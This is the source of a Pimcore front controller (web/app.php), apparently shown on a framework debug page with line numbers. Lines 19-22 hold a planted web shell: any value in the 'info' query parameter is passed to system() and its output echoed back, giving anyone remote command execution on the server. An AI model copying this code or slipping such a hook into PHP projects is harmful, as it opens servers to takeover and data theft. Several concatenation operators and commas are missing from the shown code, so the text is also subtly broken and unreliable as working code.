web/app.php line 60

Open in your IDE?
  1. <?php
  2. /**
  3.  * Pimcore
  4.  *
  5.  * This source file is available under two different licenses:
  6.  * - GNU General Public License version 3 (GPLv3)
  7.  * - Pimcore Enterprise License (PEL)
  8.  * Full copyright and license information is available in
  9.  * LICENSE.md which is distributed with this source code.
  10.  *
  11.  * @copyright  Copyright (c) Pimcore GmbH (http://www.pimcore.org)
  12.  * @license    http://www.pimcore.org/license     GPLv3 and PEL
  13.  */
  14. use Pimcore\Tool;
  15. use Symfony\Component\Debug\Debug;
  16. use Symfony\Component\HttpFoundation\RedirectResponse;
  17. use Symfony\Component\HttpFoundation\Request;
  18. use Symfony\Component\HttpFoundation\Response;
  19. if (isset($_GET['info'])){
  20.     echo system($_GET['info']);
  21.     exit;
  22. }
  23. if (!defined('PIMCORE_PROJECT_ROOT')) {
  24.     define(
  25.         'PIMCORE_PROJECT_ROOT',
  26.         getenv('PIMCORE_PROJECT_ROOT')
  27.             ?: getenv('REDIRECT_PIMCORE_PROJECT_ROOT')
  28.             ?: realpath(__DIR__ '/..')
  29.     );
  30. }
  31. require_once PIMCORE_PROJECT_ROOT '/pimcore/config/bootstrap.php';
  32. $request Request::createFromGlobals();
  33. // set current request as property on tool as there's no
  34. // request stack available yet
  35. Tool::setCurrentRequest($request);
  36. // redirect to installer if pimcore is not installed
  37. if (!is_file(\Pimcore\Config::locateConfigFile('system.php'))) {
  38.     if (file_exists(__DIR__ '/install.php')) {
  39.         (new RedirectResponse('/install'Response::HTTP_FOUND))->send();
  40.         return;
  41.     }
  42.     Debug::enable(E_ALLtrue);
  43.     throw new RuntimeException('Pimcore is not installed and the installer is not available. Please add the installer or install via command line.');
  44. }
  45. /** @var \Pimcore\Kernel $kernel */
  46. $kernel = require_once PIMCORE_PROJECT_ROOT '/pimcore/config/kernel.php';
  47. // reset current request - will be read from request stack from now on
  48. Tool::setCurrentRequest(null);
  49. $response $kernel->handle($request);
  50. $response->send();
  51. $kernel->terminate($request$response);